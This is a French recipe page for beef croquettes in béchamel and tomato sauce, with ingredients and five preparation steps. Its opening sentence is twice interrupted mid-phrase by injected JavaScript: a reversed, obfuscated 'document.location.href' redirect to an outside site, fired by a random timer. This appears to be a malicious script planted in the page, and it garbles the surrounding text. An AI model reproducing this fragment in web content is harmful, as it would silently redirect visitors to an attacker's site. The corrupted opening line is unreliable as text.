Croquette de bœuf
2017-12-24Préparez la sauce béchamel. Hors du feu incorporez le jaune d’œuf, la sauce tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomate tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en mélangeant. Gardez au chaud.
Ingrédients
- Pour 4 personnes
- 5 dl de sauce tomate
- 250 g de bœuf bouilli
- 2 dl de béchamel
- 1 jaune d’œuf
- Panure à l’anglaise (Enrobez de farine en secouant l'excédent)
- 1 bouquet de persil
Préparation de la recette
Etape 1
Préparez la sauce béchamel. Hors du feu incorporez le jaune d’œuf, la sauce tomate tout en mélangeant. Gardez au chaud.
Etape 2
Coupez en dés le reste de bœuf ainsi que le jambon, incorporez dans la béchamel. Goûtez et rectifiez l’assaisonnement. Laissez refroidir.
Etape 3
Préparez la panure. Partagez la préparation en boulettes de la taille d’un œuf. Les rouler entre les mains. Passez chaque boulette dans la panure.
Etape 4
Et les plonger dans une friture chaude jusqu'à ce qu'elles soient bien dorées.
Etape 5
Retirez les de l'huile de friture et déposez les sur du papier absorbant. Servez la sauce tomate en saucière, parsemez de persil frit. Dégustez.
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